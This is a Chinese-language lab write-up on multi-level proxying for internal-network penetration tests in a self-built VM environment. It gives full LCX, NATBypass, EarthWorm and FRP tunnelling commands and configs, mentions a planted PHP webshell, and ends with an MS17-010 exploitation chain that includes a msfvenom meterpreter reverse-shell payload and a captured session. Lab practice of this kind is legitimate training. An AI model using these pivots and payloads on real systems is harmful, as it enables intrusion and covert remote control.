内网渗透中经常碰到多个网段的机器不出网的情况,做一套试验环境来练习下多级代理

环境介绍

以下环境均在VM16中搭建

  • LEDE x2.36 软路由 *1
    • 网络:可出网,边界,IP 172.16.17.100
    • 虚拟机配置:2C 4G 4网卡
  • Windows server 2019 *1
    • 网络:可出网,DMZ,WEB机,IP 172.16.18.2
    • 虚拟机配置:2C 2G 1网卡
  • Windows server 2016 *1
    • 网络:不可出网,DMZ,IP 10.100.100.2
    • 虚拟机配置:2C 2G 1网卡
  • Windows server 2008 R2*1
    • 网络:不可出网,DMZ,IP 192.168.37.1
    • 虚拟机配置:2C 2G 1网卡
  • Win10 *1
    • 网络:通Win2019
    • 虚机配置:4C8G 1网卡

拓扑图

image-20201214144901117

攻击机配置

Win10

kali (parrot亦可)

过程

LEDE配置

安装好LEDE后配置接口如下

image-20201214150043402

配置后状态如图

image-20201214161823622

防火墙配置如下

image-20201214150648473

DMZ规则

image-20201214150701772

DMZ_WAN规则

image-20201214150740971

端口转发规则

LEDE防火墙新建端口转发规则

image-20201214155331108

测试连通性

3台虚拟机安装好后测试连通性

2016虚机

image-20201214151409744

2008image-20201214151423369

2019image-20201214151433126

2019安装phpstudy,写个一句话马

image-20201214155234667

攻击机

攻击机网卡设置为与LEDE一样的网卡,更改网关为LEDE后测试正常访问

image-20201214155222797

测试一句话连接

image-20201214155534350

代理工具

LCX

简单的转发

在目标机上执行lcx -slav 172.16.17.3 5555 127.0.0.1 3389即可将本地3389转发到攻击机的5555端口

攻击机本地执行lcx -listenning 5555 5556即可通过本地127.0.0.1:5556连接172.16.18.2的3389

流量走向172.16.18.2:3389→172.16.17.3:5555

image-20201214191018191

一级代理

2016机器执行Lcx.exe -slav 172.16.18.2 5559 127.0.0.1 3389

2019机器执行lcx -trans 5559 172.16.17.3 5558

攻击机执行lcx -listenning 5558 5556

此时的被控机流量走向10.100.100.2:3389→172.16.18.2:5559→172.16.17.3:5558

image-20201214195502955

二级代理

2008机器执行Lcx.exe -slav 10.100.100.2 5560 127.0.0.1 3389

2016机器执行lcx -trans 5560 172.16.18.2 5559

2019机器执行lcx -trans 5559 172.16.17.3 5558

攻击机执行lcx -listenning 5558 5556

此时的被控机流量走向192.168.37.2:3389→10.100.100.2:5560→172.16.18.2:5559→172.16.17.3:5558

卡黑屏,无法正常操作

image-20201215092212918

Go版LCX

项目地址https://github.com/cw1997/NATBypass

2008机器执行Lcx.exe -slave 127.0.0.1:3389 10.100.100.2:5560

2016机器执行lcx -tran 5560 172.16.18.2:5559

2019机器执行lcx -tran 5559 172.16.17.3:5558

攻击机执行lcx -listen 5558 5556

此时的被控机流量走向192.168.37.2:3389→10.100.100.2:5560→172.16.18.2:5559→172.16.17.3:5558

可以正常操作

image-20201215095227093

earthworm

简单的转发

earthworm提供了6种命令格式

ssocksd 正向服务器,等待客户端连接

rcsocks 反弹客户端

rssocks 反弹服务端

lcx_slave 反弹服务端

lcx_listen 监听lcx_slave传递的数据

lcx_tran 转发用

lcx管道

受控机2019机执行如下命令

  • ew_for_win_32.exe -s ssocksd -l 9999 开启正向代理服务器
  • ew_for_win_32.exe -s lcx_slave -d 172.16.17.3 -e 5556 -f 127.0.0.1 -g 9999 弹回攻击机

image-20201215112104762

攻击机win10执行

  • ew_for_win_32.exe -s lcx_listen -l 10800 -e 5556 监听5556端口,同时监听10800端口流量转发到5556端口

Proxifier设置

image-20201215112136027

即可通过2019机器的内网IP进行连接

image-20201215112330858

此时流量走向172.16.18.2:3389→172.16.18.2:9999→172.16.17.3:5556→172.16.17.3:10800

socks隧道

2019机器执行ew_for_win_32.exe -s rssocks -d 172.16.17.3 -e 5556

win10执行ew_for_win_32.exe -s rcsocks -l 10800 -e 5556

Proxifier不变,即可连接

image-20201215112958968

一级代理

2016机器执行ew_for_win_32.exe -s ssocksd -l 9999 开启正向代理服务器

2019机器执行ew_for_win_32.exe -s lcx_slave -d 172.16.17.2 -e 5556 -f 10.100.100.2 -g 9999 弹回攻击机

win10执行ew_for_win_32.exe -s rcsocks -l 10800 -e 5556

Proxifier不变,即可连接

image-20201215151437872

二级代理

2008机器执行ew_for_win_32.exe -s rssocks -d 10.100.100.2 -e 7777开启正向代理服务器并连接到10.100.100.2

2016机器执行ew_for_win_32.exe -s lcx_listen -l 9999 -e 7777 转发777端口到9999端口

2019机器执行ew_for_win_32.exe -s lcx_slave -d 172.16.17.2 -e 5556 -f 10.100.100.2 -g 9999 弹回攻击机

win10执行ew_for_win_32.exe -s rcsocks -l 10800 -e 5556

Proxifier不变,即可连接

image-20201215153734215

FRP

简单的转发

win10机器运行FRP服务端,默认配置即可frps -c frps.ini

image-20201217104707732

编写客户端文件并运行frpc.exe -c frpc.ini

[common]
server_addr = 172.16.17.2 #<-FRP服务器IP
server_port = 7000 #<-FRP服务器端口

[plugin_socks5]
type = tcp
remote_port = 6666 #<-socks端口
plugin = socks5
plugin_user = abc #<-socks认证,强烈建议配置高复杂性帐密
plugin_passwd = abc #<-socks认证,强烈建议配置高复杂性帐密

image-20201217105148175

此时服务端显示如下代表连接成功

image-20201217105214948

配置好proxifier后即可成功连接

image-20201217105446467

多级转发

思路:在需要转发的机器上同时启动Server、Client即可实现

win2019机器上编写配置文件并运行frpc.exe -c frpc.ini

[common]
server_addr = 172.16.17.2
server_port = 7000

[0x20h_FRP_Test]
type = tcp
local_ip = 172.16.18.2 #<-当前机器IP
local_port = 1080 #<-监听本地的端口
remote_port = 6666 #<-转发到远端的端口

编写frps配置文件并运行frps.exe -c frps.ini

[common]
bind_addr=172.16.18.2 #<-本机IP
bind_port = 7000

image-20201217110913595

win2016上编写配置文件并运行frpc.exe -c frpc.ini

[common]
server_addr = 172.16.18.2
server_port = 7000

[0x20h_FRP_Test]
type = tcp
remote_port=1080
plugin=socks5

image-20201217110624040

配置好proxifier后尝试登录win2008

image-20201217110959065

此时win2019的log

image-20201217111033063

win2016的log

image-20201217111049812

结束掉win2016的进程,远程桌面断开

image-20201217111124720

MSF代理

尝试MSF通过多级代理进行MS17-010利用

配好Linux的网络

image-20201217113920731

win2019机器上需要开2个代理

  • nb -tran 8888 172.16.17.4:8888用于返回meterpreter会话
  • ew_for_win_32.exe -s rssocks -d 172.16.17.4 -e 5556用于接收攻击流量

kali上执行

  • ./ew_for_linux -s rcsocks -l 10800 -e 5556
  • 编辑/etc/proxychains4.conf,新增socks5 127.0.0.1 10800
  • proxychains4 msfconsole启动MSF

执行扫描

image-20201217163916296

设置攻击时需要设置反弹shell为前置代理机的IP,生成shellcodemsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.18.2 LPORT=8888 -f dll -o 1.dll,使用multi/handler模块,设置payloadLHOSTLPORT,然后run

win2019机器上的ew切回win10的IPew_for_win_32.exe -s rssocks -d 172.16.17.2 -e 5556

然后配置BPF框架、proxifier,执行攻击

image-20201217165559208

此时MSF监听到反弹的shell

image-20201217165052650

image-20201217165110907